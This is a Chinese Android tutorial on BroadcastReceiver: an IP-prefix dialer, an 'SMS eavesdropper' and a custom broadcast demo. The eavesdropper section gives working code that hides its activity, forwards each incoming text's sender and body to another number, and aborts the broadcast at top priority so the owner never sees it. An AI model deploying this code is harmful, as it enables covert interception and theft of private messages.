Android中 廣播BroadcastReceiver

來源:互聯網
上載者:User

Android中 廣播BroadcastReceiver
一、IP撥號器

activity_main.xml檔案:

只有一個輸入ip的文字框和一個儲存按鈕,

 

    

MainActivity.java

 

點擊儲存按鈕後執行的程式,將輸入的ip號以SharedPreferences的方式儲存在本地,

 

package com.itheima.ipdail;import android.os.Bundle;import android.app.Activity;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.view.Menu;import android.view.View;import android.widget.EditText;import android.widget.Toast;public class MainActivity extends Activity {private EditText et_ipnumber;private SharedPreferences sp;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        sp = getSharedPreferences("config", MODE_PRIVATE);        et_ipnumber = (EditText) findViewById(R.id.et_ipnumber);    }    /**     * 儲存按鈕對應的點擊事件     * @param view     */    public void save(View view){    String ipnumber = et_ipnumber.getText().toString().trim();    Editor editor = sp.edit();    editor.putString("ipnumber", ipnumber);    editor.commit();    Toast.makeText(this, "儲存ip號碼完畢", 0).show();    }}

OutCallReceiver.java

 

廣播接受者,當有撥出電話到來的時候,從本地SharedPreferences中取出IP號,然後和撥出號碼拼接成新字串顯示早撥號介面上,

 

package com.itheima.ipdail;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.util.Log;/** * 廣播接收者,當有撥出電話到來的時候 會處理這個訊息 * */public class OutCallReceiver extends BroadcastReceiver {private static final String TAG = "OutCallReceiver";private SharedPreferences sp;/** * 當廣播接受者接受到廣播事件的時候調用的方法 */@Overridepublic void onReceive(Context context, Intent intent) {String number = getResultData();Log.i(TAG,"有新的電話打出去了。電話號碼為:"+number);sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);String ipnumber = sp.getString("ipnumber", "");setResultData(ipnumber+number);}}

別忘了在AndroidManifest.xml檔案中添加,

 

 

 
                                                        

結果:

 

 

 

二、簡訊竊聽器

 

MainActivity.java

package com.itheima.smslistener;import android.os.Bundle;import android.app.Activity;import android.view.Menu;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);finish();}}

SmsReceiver.java

5556->5554傳送簡訊,利用廣播接受者取出簡訊內容

 

package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);}}}

 

 

當SmsReceiver.java改為如下:

類比5558->5554傳送簡訊,當5554接收到簡訊後,自動發送給5556,實現了簡訊竊聽功能,

 

package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);}}}

 

 

 

當SmsReceiver.java改為如下:

5558->5554傳送簡訊,

package com.itheima.smslistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"有新的簡訊到來了。");Object[] objs = (Object[]) intent.getExtras().get("pdus");for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);String sender = smsMessage.getOriginatingAddress();String body = smsMessage.getMessageBody();Log.i(TAG,"簡訊的寄件者:"+sender);Log.i(TAG,"簡訊的內容:"+body);SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);//終止簡訊的廣播事件。abortBroadcast();}}}
在AndroidManifest.xml檔案中添加,                                                 


因為廣播接受者優先順序1000,最高,而且廣播接受著終止了簡訊的廣播後續事件,因此5554並為收到簡訊,

但是5556能接收到簡訊,因為在終止廣播事件之前向5556轉寄了,

 

 

三、自訂廣播接收者1.自訂發送廣播

 

acticity_main.xml檔案為,

 



 

MainActivity.java檔案為,

 

package com.itheima.sendbroadcast;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}public void send(View view){Intent intent = new Intent("com.itheima.sendbroadcast.demo");sendBroadcast(intent);}}

2.自訂廣播接收者

 

acticity_main.xml檔案為空白,

MainActivity.java檔案為空白,


MyBroadcastReceiver.java檔案為,

 

package com.itheima.myreceiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;public class MyBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Toast.makeText(context, "我是自訂的廣播接受者,我接受到了自訂訊息", 0).show();}}

在AndroidMainfest.xml檔案中添加如下,

 

 

                                                        


 


聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.